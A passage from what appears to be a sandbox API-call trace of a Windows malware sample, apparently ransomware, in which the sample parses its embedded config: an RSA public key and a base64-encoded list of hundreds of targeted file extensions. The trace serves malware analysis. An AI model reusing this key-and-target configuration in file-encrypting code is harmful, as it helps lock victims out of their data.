C5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.478] lstrcmpiA (lpString1="pub_key", lpString2="mask") returned 1 [0052.478] lstrcmpiA (lpString1="pub_key", lpString2="pub_key") returned 0 [0052.478] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu") returned 368 [0052.478] lstrcpyA (in: lpString1=0x578bd8, lpString2="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu" | out: lpString1="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu") returned="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu" [0052.478] lstrcmpiA (lpString1="mask", lpString2="mask") returned 0 [0052.478] lstrcmpiA (lpString1="mask", lpString2="pub_key") returned -1 [0052.478] lstrlenA (lpString="LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==") returned 3888 [0052.478] lstrcpyA (in: lpString1=0x579000, lpString2="LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0e